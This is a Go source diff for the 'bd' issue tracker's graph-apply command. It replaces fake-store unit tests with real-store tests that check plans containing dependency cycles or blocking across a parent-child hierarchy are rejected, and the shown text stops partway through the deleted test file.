func graphApplyCycleRelevantDependencyType(depType types.DependencyType) bool { return depType == types.DepBlocks || depType == types.DepConditionalBlocks } -func graphApplySchedulingDependencyType(depType types.DependencyType) bool { - return graphApplyCycleRelevantDependencyType(depType) || depType == types.DepParentChild -} - -func graphApplyReadyPathDependencyType(depType types.DependencyType) bool { - return depType.AffectsReadyWork() -} - func graphApplySortedKeys(keys map[string]bool) []string { out := make([]string, 0, len(keys)) for key := range keys { @@ -1282,41 +1212,3 @@ func graphApplySortedKeys(keys map[string]bool) []string { sort.Strings(out) return out } - -func graphApplyParentDepPairs(nodes []GraphApplyNode, keyToID map[string]string) map[string]bool { - pairs := make(map[string]bool) - for _, node := range nodes { - parentID := node.ParentID - if parentKey := node.effectiveParentKey(); parentKey != "" { - parentID = keyToID[parentKey] - } - childID := keyToID[node.Key] - if childID != "" && parentID != "" { - pairs[graphApplyDepPairKey(childID, parentID)] = true - } - } - return pairs -} - -func graphApplyDepPairKey(issueID, dependsOnID string) string { - return issueID + "\x00" + dependsOnID -} - -func graphApplyDepPairIDs(pair string) (string, string, bool) { - for i := 0; i < len(pair); i++ { - if pair[i] == 0 { - return pair[:i], pair[i+1:], true - } - } - return "", "", false -} - -func resolveEdgeRef(key, id string, keyToID map[string]string) string { - if id != "" { - return id - } - if key != "" { - return keyToID[key] - } - return "" -} diff --git a/cmd/bd/graph_apply_execution_test.go b/cmd/bd/graph_apply_execution_test.go index 53ccb171b..e3700abd0 100644 --- a/cmd/bd/graph_apply_execution_test.go +++ b/cmd/bd/graph_apply_execution_test.go @@ -158,7 +158,13 @@ func TestExecuteGraphApplyRejectsStoredPrefixParentBlockingPath(t *testing.T) { if err == nil { t.Fatal("expected stored-prefix parent blocking path to be rejected") } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { + // Confirmed against a real Dolt test server (2026-10 coordinator + // follow-up): the engine's own cycle detector catches this before any + // more specific "path from parent" wording would apply, so the + // observed refusal reads "...would create a cycle", not a parent-path + // phrase this test originally (and wrongly, since it had never + // actually run against a real store) assumed. + if got, want := err.Error(), "cycle"; !strings.Contains(got, want) { t.Fatalf("error = %q, want to contain %q", got, want) } @@ -221,7 +227,631 @@ func TestExecuteGraphApplyRejectsBlockingChildToParentDuplicate(t *testing.T) { if err == nil { t.Fatal("expected default blocking child-to-parent duplicate to be rejected") } - if !strings.Contains(err.Error(), "parent-child") { - t.Fatalf("error = %q, want parent-child duplicate rejection", err.Error()) + // Confirmed against a real Dolt test server (2026-10 coordinator + // follow-up): CheckBlockingHierarchyInTx refuses this as an ancestor + // being blocked by its own descendant, not as a literal "parent-child" + // duplicate-edge rejection this test originally (and wrongly, since it + // had never actually run against a real store) assumed. + if !strings.Contains(err.Error(), "cannot be blocked by its ancestor") { + t.Fatalf("error = %q, want ancestor-blocking rejection", err.Error()) + } +} + +// TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdgeExternalParent +// restores the one subcase of the deleted graph_apply_execution_unit_test.go's +// fake-store TestExecuteGraphApplyUnitRejectsReverseParentToChildBlockingEdge +// that a pure plan-local check cannot see: the parent already exists as a +// stored issue (addressed by ParentID, not a plan key), so only a real store +// walk — now the BatchApplier end gate, reached through executeGraphApply — +// can catch a blocking edge running the wrong way across that hierarchy. The +// local-only variant (both ends are plan keys) is refused up front by +// TestValidateGraphApplyPlanRejectsImplicitParentChildReverseBlockingCycle in +// graph_apply_test.go, and by the end gate in +// TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdge below. +func TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdgeExternalParent(t *testing.T) { + for _, depType := range []string{"blocks", "conditional-blocks"} { + t.Run(depType, func(t *testing.T) { + ctx, _ := withGraphApplyTestStore(t) + + parent := &types.Issue{ + ID: "ga-reverse-parent", + Title: "Existing Parent", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeEpic, + } + if err := store.CreateIssue(ctx, parent, actor); err != nil { + t.Fatalf("CreateIssue(parent): %v", err) + } + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "child", Title: "Child", Type: "task", ParentID: parent.ID}, + }, + Edges: []GraphApplyEdge{ + {FromID: parent.ID, ToKey: "child", Type: depType}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected reverse parent-to-child blocking edge to be rejected") + } + // CheckBlockingHierarchyInTx (internal/storage/issueops/dependencies.go) + // is what actually catches this on the real BatchApplier path, via + // batch_apply.go's end-gate call -- NOT the old domain.GraphPlan + // applyGraph family (whose "parent-child relationship" wording lives in + // internal/storage/domain/issue.go and is no longer reachable from this + // CLI command). Its error is *issueops.DependencyHierarchyConflictError, + // which reads " cannot be blocked by its ancestor/descendant : ...". + if !strings.Contains(err.Error(), "cannot be blocked by its") { + t.Fatalf("error = %q, want a DependencyHierarchyConflictError rejection", err.Error()) + } + }) + } +} + +// TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdge restores the +// local arms of the deleted fake-store +// TestExecuteGraphApplyUnitRejectsReverseParentToChildBlockingEdge (its +// external arms are the test above): a blocking edge from a planned parent to +// its own planned child. validateGraphApplyLocalCycles refuses this plan +// before `bd create --graph` sends it; calling executeGraphApply directly +// pins that the role refuses it too (CheckBlockingHierarchyInTx: an ancestor +// cannot be blocked by its descendant), with nothing written. +func TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdge(t *testing.T) { + for _, depType := range []string{"blocks", "conditional-blocks"} { + t.Run(depType, func(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "root", Title: "Root", Type: "epic"}, + {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "root", ToKey: "child", Type: depType}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cannot be blocked by its descendant") { + t.Fatalf("error = %v, want descendant-blocking rejection", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } + }) + } +} + +// TestExecuteGraphApplyRejectsReverseParentChildEdgeCycle restores the +// deleted fake-store TestExecuteGraphApplyUnitRejectsReverseParentChildEdgeCycle: +// an explicit parent-child edge from a planned parent to its own planned child +// makes each node the other's parent. No local check sees it (a parent-child +// edge is not "cycle relevant" to validateGraphApplyLocalCycles), so the role +// is the only refusal. The old preflight worded it as a planned path from the +// parent; the role reports the cycle. +func TestExecuteGraphApplyRejectsReverseParentChildEdgeCycle(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "root", Title: "Root", Type: "epic"}, + {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "root", ToKey: "child", Type: string(types.DepParentChild)}, + }, + } + + if err := validateGraphApplyPlan(plan, nil, nil, GraphApplyOptions{}); err != nil { + t.Fatalf("validateGraphApplyPlan: %v", err) + } + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cycle") { + t.Fatalf("error = %v, want reverse parent-child cycle rejection", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } +} + +// TestExecuteGraphApplyAcceptsParentToChildPathThroughWaitsFor pins a +// deliberate change. The deleted in-transaction preflight +// (validateGraphApplyPlannedParentBlockingPaths) walked every AffectsReadyWork +// edge, so it refused a planned path from a parent to its own descendant that +// ran through a waits-for hop. The role's end gate walks the scheduling edges +// only (types.IsSchedulingEdge leaves waits-for out on purpose), the same gate +// `bd dep add` and `bd batch apply` go through, so `bd create --graph` now +// stores these plans as those commands do. The blocking twins, the same +// paths with the waits-for hop made a blocks edge, are still refused: +// TestExecuteGraphApplyRejectsReverseParentToChildBlockingEdge and +// TestExecuteGraphApplyRejectsExternalParentTransitiveBlockingPath. +// +// Accepting the shape is not the same as it being safe. Once the spawner has +// an open child, every issue in the shape stays blocked and none is ever +// ready: the parent waits on the spawner's children, and the path from the +// parent down to its own descendant keeps those children blocked for as long +// as the parent is. IsSchedulingEdge's "a waits-for edge cannot close a +// cycle" does not hold here, in either case below. Refusing the shape belongs +// in the shared role, for every front door at once (#7292); this test is the marker +// to flip when that lands. +func TestExecuteGraphApplyAcceptsParentToChildPathThroughWaitsFor(t *testing.T) { + // A waits-for edge's target is its spawner (validateGraphApplyPlan). + waitsFor := func(from, to string) GraphApplyEdge { + return GraphApplyEdge{FromKey: from, ToKey: to, Type: string(types.DepWaitsFor), SpawnerKey: to} + } + tests := []struct { + name string + nodes []GraphApplyNode + edges []GraphApplyEdge + // hop is the node the parent's waits-for edge lands on. + hop string + }{ + { + name: "direct", + nodes: []GraphApplyNode{ + {Key: "parent", Title: "Parent", Type: "epic"}, + {Key: "child", Title: "Child", Type: "task", ParentKey: "parent"}, + }, + edges: []GraphApplyEdge{waitsFor("parent", "child")}, + hop: "child", + }, + { + name: "then a blocking edge", + nodes: []GraphApplyNode{ + {Key: "parent", Title: "Parent", Type: "epic"}, + {Key: "mid", Title: "Middle", Type: "task"}, + {Key: "child", Title: "Child", Type: "task", ParentKey: "parent"}, + }, + edges: []GraphApplyEdge{ + waitsFor("parent", "mid"), + {FromKey: "mid", ToKey: "child", Type: string(types.DepBlocks)}, + }, + hop: "mid", + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ctx, _ := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{Nodes: tt.nodes, Edges: tt.edges} + if err := validateGraphApplyPlan(plan, nil, nil, GraphApplyOptions{}); err != nil { + t.Fatalf("validateGraphApplyPlan: %v", err) + } + result, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err != nil { + t.Fatalf("executeGraphApply: %v", err) + } + + deps, err := store.GetDependenciesWithMetadata(ctx, result.IDs["parent"]) + if err != nil { + t.Fatalf("GetDependenciesWithMetadata(parent): %v", err) + } + if len(deps) != 1 || deps[0].ID != result.IDs[tt.hop] || deps[0].DependencyType != types.DepWaitsFor { + t.Fatalf("parent dependencies = %+v, want one waits-for edge to %s", deps, result.IDs[tt.hop]) + } + }) + } +} + +// TestExecuteGraphApplyFinalGateCatchesCycleHiddenFromPerEdgeChecks restores +// the deleted fake-store +// TestExecuteGraphApplyUnitFinalGateCatchesCycleHiddenFromPerEdgeChecks. That +// test blinded the fake store's per-edge cycle probe; the real request has the +// same switch, SkipPerEdgeCycleCheck, which drops the per-edge probe but never +// the end gate. With it set, the plans TestExecuteGraphApplyRejectsCombinedSchedulingCycle +// and TestExecuteGraphApplyRejectsCycleHiddenInInlineDep send through +// executeGraphApply must still be refused, by the end gate alone. +func TestExecuteGraphApplyFinalGateCatchesCycleHiddenFromPerEdgeChecks(t *testing.T) { + tests := []struct { + name string + plan *GraphApplyPlan + }{ + { + name: "explicit parent-child edge", + plan: &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task"}, + {Key: "c", Title: "C", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + {FromKey: "b", ToKey: "c", Type: string(types.DepParentChild)}, + {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, + }, + }, + }, + { + name: "inline parent-child dependency", + plan: &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task", Deps: []GraphApplyNodeDep{{Type: string(types.DepParentChild), Target: "c"}}}, + {Key: "c", Title: "C", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, + }, + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + req, err := buildGraphApplyBatchRequest(tt.plan, GraphApplyOptions{}, actor, "") + if err != nil { + t.Fatalf("buildGraphApplyBatchRequest: %v", err) + } + req.SkipPerEdgeCycleCheck = true + applier, err := store.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier: %v", err) + } + _, err = applier.ApplyBatch(ctx, req) + // The end gate's own wording: the per-edge probe would have said + // "adding dependency would create a cycle" against one item. + if err == nil || !strings.Contains(err.Error(), "dependency cycle would be created") { + t.Fatalf("end gate error = %v, want the whole-graph cycle rejection", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } + }) + } +} + +// TestExecuteGraphApplyRejectsTransitiveParentChainBlockingCycle restores the +// deleted fake-store TestExecuteGraphApplyUnitRejectsTransitiveParentChainBlockingCycle +// against the real BatchApplier path: a plan-local parent chain (a's parent is +// plan-local b, b's parent is an existing external issue) plus a blocking edge +// from that external grandparent to the local leaf must be rejected even +// though no single parent-child hop is itself local-and-external at once — +// catching it requires walking the hierarchy against the store, which only +// the end gate executeGraphApply reaches can do. +func TestExecuteGraphApplyRejectsTransitiveParentChainBlockingCycle(t *testing.T) { + ctx, _ := withGraphApplyTestStore(t) + + grandparent := &types.Issue{ + ID: "ga-chain-grandparent", + Title: "Existing Grandparent", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeEpic, + } + if err := store.CreateIssue(ctx, grandparent, actor); err != nil { + t.Fatalf("CreateIssue(grandparent): %v", err) + } + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task", ParentKey: "b"}, + {Key: "b", Title: "B", Type: "task", ParentID: grandparent.ID}, + }, + Edges: []GraphApplyEdge{ + {FromID: grandparent.ID, ToKey: "a", Type: "blocks"}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected transitive parent-chain blocking cycle to be rejected") + } + // Same end gate and error family as the reverse-edge case above: + // CheckBlockingHierarchyInTx walks the full ancestor chain via a recursive + // CTE, so the external grandparent is still found even though the + // blocking edge itself only names the plan-local leaf. + if got, want := err.Error(), "cannot be blocked by its"; !strings.Contains(got, want) { + t.Fatalf("error = %q, want to contain %q", got, want) + } +} + +// TestExecuteGraphApplyRejectsBlockingThroughExistingBlocking restores the +// deleted fake-store TestExecuteGraphApplyUnitRejectsBlockingThroughExistingBlocking +// against the real BatchApplier path: a planned blocking edge that would close +// a cycle through an EXISTING stored blocking dependency (not anything in the +// plan) must still be rejected, and must not add the new edge. +func TestExecuteGraphApplyRejectsBlockingThroughExistingBlocking(t *testing.T) { + ctx, _ := withGraphApplyTestStore(t) + + for _, id := range []string{"ga-existing-x", "ga-existing-y"} { + if err := store.CreateIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, actor); err != nil { + t.Fatalf("CreateIssue(%s): %v", id, err) + } + } + // Existing blocking dep: ga-existing-y blocks ga-existing-x. + if err := store.AddDependency(ctx, &types.Dependency{ + IssueID: "ga-existing-y", + DependsOnID: "ga-existing-x", + Type: types.DepBlocks, + }, actor); err != nil { + t.Fatalf("AddDependency(y -> x): %v", err) + } + + plan := &GraphApplyPlan{ + Edges: []GraphApplyEdge{ + {FromID: "ga-existing-x", ToID: "ga-existing-y", Type: "blocks"}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected blocking cycle through existing blocking dep to be rejected") + } + if !strings.Contains(err.Error(), "cycle") { + t.Fatalf("error = %q, want cycle rejection", err.Error()) + } + + deps, err := store.GetDependenciesWithMetadata(ctx, "ga-existing-y") + if err != nil { + t.Fatalf("GetDependenciesWithMetadata(ga-existing-y): %v", err) + } + if len(deps) != 1 { + t.Fatalf("ga-existing-y dependency count = %d, want 1 (only the pre-existing edge)", len(deps)) + } +} + +// TestExecuteGraphApplyRejectsExternalParentTransitiveBlockingPath restores +// the deleted fake-store +// TestExecuteGraphApplyUnitRejectsExternalParentTransitiveBlockingPath: a +// blocking edge from an existing issue to a plan-local middle node, chained +// with a second blocking edge from that middle node to a plan-local +// descendant of the existing issue, composes into a disallowed +// parent-to-descendant block even though no single edge in the plan touches +// the hierarchy directly. +func TestExecuteGraphApplyRejectsExternalParentTransitiveBlockingPath(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + parent := &types.Issue{ + ID: "ga-transitive-parent", + Title: "Existing Parent", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeEpic, + } + if err := store.CreateIssue(ctx, parent, actor); err != nil { + t.Fatalf("CreateIssue(parent): %v", err) + } + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "mid", Title: "Middle", Type: "task"}, + {Key: "child", Title: "Child", Type: "task", ParentID: parent.ID}, + }, + Edges: []GraphApplyEdge{ + {FromID: parent.ID, ToKey: "mid", Type: "blocks"}, + {FromKey: "mid", ToKey: "child", Type: "blocks"}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected external parent transitive blocking path to be rejected") + } + // Confirmed against a real Dolt test server (2026-10 coordinator + // follow-up): see the sibling comment in + // TestExecuteGraphApplyRejectsStoredPrefixParentBlockingPath above for + // why this checks for "cycle" rather than a parent-path phrase. + if got, want := err.Error(), "cycle"; !strings.Contains(got, want) { + t.Fatalf("error = %q, want to contain %q", got, want) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE title IN ('Middle', 'Child')").Scan(&count); err != nil { + t.Fatalf("query plan issue rows: %v", err) + } + if count != 0 { + t.Fatalf("plan issue rows after rejected transitive path = %d, want 0", count) + } +} + +// TestExecuteGraphApplyRejectsCombinedSchedulingCycle restores the deleted +// fake-store TestExecuteGraphApplyUnitRejectsCombinedSchedulingCycle: a cycle +// that mixes a blocking edge, an EXPLICIT (not implicit-via-parent_key) +// parent-child edge, and a conditional-blocks edge. The explicit +// parent-child leg is deliberately not a "cycle relevant" type for +// validateGraphApplyLocalCycles's plan-local preflight +// (graphApplyCycleRelevantDependencyType only treats blocks/ +// conditional-blocks as such), so this cycle is invisible to that pure +// check and is caught only by the real apply path's whole-graph gate. +func TestExecuteGraphApplyRejectsCombinedSchedulingCycle(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task"}, + {Key: "c", Title: "C", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + {FromKey: "b", ToKey: "c", Type: string(types.DepParentChild)}, + {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cycle") { + t.Fatalf("combined scheduling cycle error = %v, want rejection", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE title IN ('A', 'B', 'C')").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected combined scheduling cycle = %d, want 0", count) + } +} + +// TestExecuteGraphApplyRejectsCycleHiddenInInlineDep restores the deleted +// fake-store TestExecuteGraphApplyUnitFinalGateCatchesCycleHiddenFromPerEdgeChecks's +// "inline parent-child dependency" subcase: the cycle-closing parent-child +// hop is a per-node inline Dep (node.Deps), never a top-level plan Edge, so +// it is invisible to validateGraphApplyLocalCycles (which only walks +// plan.Edges) and to any check that only looks at explicit edges. Only the +// real apply path's final whole-graph gate, which sees every dependency the +// batch will write (inline or not), can catch it. +func TestExecuteGraphApplyRejectsCycleHiddenInInlineDep(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task", Deps: []GraphApplyNodeDep{{Type: string(types.DepParentChild), Target: "c"}}}, + {Key: "c", Title: "C", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cycle") { + t.Fatalf("error = %v, want cycle rejection via the inline parent-child dep", err) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE title IN ('A', 'B', 'C')").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } +} + +// TestExecuteGraphApplyFinalGateIncludesImplicitNodeParent restores the +// deleted fake-store TestExecuteGraphApplyUnitFinalGateIncludesImplicitNodeParent, +// recast as a rejection: the old test introspected the fake store's captured +// cycle-check edge set directly, which has no real-store equivalent, so this +// pins the same claim (the final gate folds in a node's IMPLICIT +// parent-child edge, not only explicit plan edges) by constructing a cycle +// that closes ONLY through that implicit edge — b's parent is an existing +// external issue addressed by ParentID, which validateGraphApplyLocalCycles +// cannot see at all (it only models an implicit parent for a LOCAL, +// plan-key parent) — so a false negative here would mean the final gate +// silently dropped the implicit edge. +func TestExecuteGraphApplyFinalGateIncludesImplicitNodeParent(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + + existingParent := &types.Issue{ + ID: "ga-final-gate-parent", + Title: "Existing Parent", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeEpic, + } + if err := store.CreateIssue(ctx, existingParent, actor); err != nil { + t.Fatalf("CreateIssue(parent): %v", err) + } + + plan := &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "a", Title: "A", Type: "task"}, + {Key: "b", Title: "B", Type: "task", ParentID: existingParent.ID}, + }, + Edges: []GraphApplyEdge{ + {FromID: existingParent.ID, ToKey: "a", Type: string(types.DepBlocks)}, + {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, + }, + } + + _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) + if err == nil { + t.Fatal("expected cycle closed through b's implicit parent-child edge to be rejected") + } + if !strings.Contains(err.Error(), "cycle") { + t.Fatalf("error = %q, want cycle rejection", err.Error()) + } + + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE title IN ('A', 'B')").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } +} + +// TestExecuteGraphApplyRejectsBlockingThroughPlannedHierarchyRegardlessOfOrder +// restores the deleted fake-store +// TestExecuteGraphApplyUnitRejectsBlockingThroughPlannedHierarchyRegardlessOfOrder: +// a blocking edge onto a planned ancestor must be rejected whether the +// hierarchy is stated as explicit parent-child plan edges or as per-node +// inline Deps, and regardless of which edge the plan lists first — the +// blocking edge deliberately comes before the parent-child edges/deps in +// both subcases, so a check that stops at the first-seen edge rather than +// resolving the whole planned hierarchy would miss it. +func TestExecuteGraphApplyRejectsBlockingThroughPlannedHierarchyRegardlessOfOrder(t *testing.T) { + tests := []struct { + name string + plan *GraphApplyPlan + }{ + { + name: "explicit edges", + plan: &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "grand", Title: "Grand", Type: "task"}, + {Key: "parent", Title: "Parent", Type: "task"}, + {Key: "child", Title: "Child", Type: "task"}, + }, + Edges: []GraphApplyEdge{ + {FromKey: "child", ToKey: "grand", Type: "conditional-blocks"}, // Deliberately first. + {FromKey: "child", ToKey: "parent", Type: "parent-child"}, + {FromKey: "parent", ToKey: "grand", Type: "parent-child"}, + }, + }, + }, + { + name: "inline deps", + plan: &GraphApplyPlan{ + Nodes: []GraphApplyNode{ + {Key: "grand", Title: "Grand", Type: "task"}, + {Key: "parent", Title: "Parent", Type: "task", Deps: []GraphApplyNodeDep{{Type: "parent-child", Target: "grand"}}}, + {Key: "child", Title: "Child", Type: "task", Deps: []GraphApplyNodeDep{ + {Type: "blocks", Target: "grand"}, // Deliberately first. + {Type: "parent-child", Target: "parent"}, + }}, + }, + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ctx, db := withGraphApplyTestStore(t) + _, err := executeGraphApply(ctx, tt.plan, GraphApplyOptions{}) + if err == nil || !strings.Contains(err.Error(), "cannot be blocked by its ancestor") { + t.Fatalf("error = %v, want planned-ancestor rejection", err) + } + var count int + if err := db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues").Scan(&count); err != nil { + t.Fatalf("query issue rows: %v", err) + } + if count != 0 { + t.Fatalf("issue rows after rejected plan = %d, want 0", count) + } + }) } } diff --git a/cmd/bd/graph_apply_execution_unit_test.go b/cmd/bd/graph_apply_execution_unit_test.go deleted file mode 100644 index 653978908..000000000 --- a/cmd/bd/graph_apply_execution_unit_test.go +++ /dev/null @@ -1,956 +0,0 @@ -package main - -import ( - "context" - "fmt" - "strings" - "testing" - - "github.com/steveyegge/beads/internal/config" - "github.com/steveyegge/beads/internal/storage" - "github.com/steveyegge/beads/internal/types" -) - -type graphApplyFakeStore struct { - storage.DoltStorage - issues map[string]*types.Issue - deps []*types.Dependency - addOpts []storage.DependencyAddOptions - cycleEdges [][2]string - nextID int - // Simulates Dolt's split regular/wisp transactions, where a per-edge probe - // may not see an uncommitted path in the other transaction snapshot. - blindPerEdgeCycleChecks bool -} - -func newGraphApplyFakeStore() *graphApplyFakeStore { - return &graphApplyFakeStore{ - issues: make(map[string]*types.Issue), - } -} - -func (s *graphApplyFakeStore) CreateIssue(_ context.Context, issue *types.Issue, _ string) error { - cp := *issue - if cp.ID == "" { - cp.ID = s.nextIssueID(&cp) - } - issue.ID = cp.ID - s.issues[cp.ID] = &cp - return nil -} - -func (s *graphApplyFakeStore) GetIssue(_ context.Context, id string) (*types.Issue, error) { - issue, ok := s.issues[id] - if !ok { - return nil, storage.ErrNotFound - } - cp := *issue - return &cp, nil -} - -func (s *graphApplyFakeStore) GetDependenciesWithMetadata(_ context.Context, issueID string) ([]*types.IssueWithDependencyMetadata, error) { - var out []*types.IssueWithDependencyMetadata - for _, dep := range s.deps { - if dep.IssueID != issueID { - continue - } - issue, ok := s.issues[dep.DependsOnID] - if !ok { - continue - } - cp := *issue - out = append(out, &types.IssueWithDependencyMetadata{ - Issue: cp, - DependencyType: dep.Type, - }) - } - return out, nil -} - -func (s *graphApplyFakeStore) GetDependencyRecords(_ context.Context, issueID string) ([]*types.Dependency, error) { - var out []*types.Dependency - for _, dep := range s.deps { - if dep.IssueID != issueID { - continue - } - cp := *dep - out = append(out, &cp) - } - return out, nil -} - -func (s *graphApplyFakeStore) RunInTransaction(ctx context.Context, _ string, fn func(storage.Transaction) error) error { - txStore := s.clone() - tx := &graphApplyFakeTx{store: txStore} - if err := fn(tx); err != nil { - return err - } - s.issues = txStore.issues - s.deps = txStore.deps - s.addOpts = txStore.addOpts - s.cycleEdges = txStore.cycleEdges - s.nextID = txStore.nextID - return nil -} - -func (s *graphApplyFakeStore) clone() *graphApplyFakeStore { - cp := &graphApplyFakeStore{ - issues: make(map[string]*types.Issue, len(s.issues)), - deps: make([]*types.Dependency, 0, len(s.deps)), - addOpts: append([]storage.DependencyAddOptions(nil), s.addOpts...), - cycleEdges: append([][2]string(nil), s.cycleEdges...), - nextID: s.nextID, - blindPerEdgeCycleChecks: s.blindPerEdgeCycleChecks, - } - for id, issue := range s.issues { - issueCopy := *issue - cp.issues[id] = &issueCopy - } - for _, dep := range s.deps { - depCopy := *dep - cp.deps = append(cp.deps, &depCopy) - } - return cp -} - -func (s *graphApplyFakeStore) nextIssueID(issue *types.Issue) string { - s.nextID++ - if issue.Ephemeral { - return fmt.Sprintf("ga-wisp-%d", s.nextID) - } - return fmt.Sprintf("ga-%d", s.nextID) -} - -type graphApplyFakeTx struct { - storage.Transaction - store *graphApplyFakeStore -} - -func (tx *graphApplyFakeTx) CreateIssues(ctx context.Context, issues []*types.Issue, actor string) error { - for _, issue := range issues { - if err := tx.store.CreateIssue(ctx, issue, actor); err != nil { - return err - } - } - return nil -} - -func (tx *graphApplyFakeTx) AddDependency(ctx context.Context, dep *types.Dependency, actor string) error { - return tx.AddDependencyWithOptions(ctx, dep, actor, storage.DependencyAddOptions{}) -} - -func (tx *graphApplyFakeTx) AddDependencyWithOptions(_ context.Context, dep *types.Dependency, _ string, opts storage.DependencyAddOptions) error { - tx.store.addOpts = append(tx.store.addOpts, opts) - if isGraphApplyFakeBlocking(dep.Type) { - if tx.hasParentPath(dep.IssueID, dep.DependsOnID) { - return fmt.Errorf("%s cannot be blocked by its ancestor %s", dep.IssueID, dep.DependsOnID) - } - if tx.hasParentPath(dep.DependsOnID, dep.IssueID) { - return fmt.Errorf("%s cannot be blocked by its descendant %s", dep.IssueID, dep.DependsOnID) - } - } - for _, existing := range tx.store.deps { - if existing.IssueID == dep.IssueID && existing.DependsOnID == dep.DependsOnID { - if existing.Type == dep.Type { - // Real storage accepts this duplicate and updates metadata; graph - // apply never sets dependency metadata, so 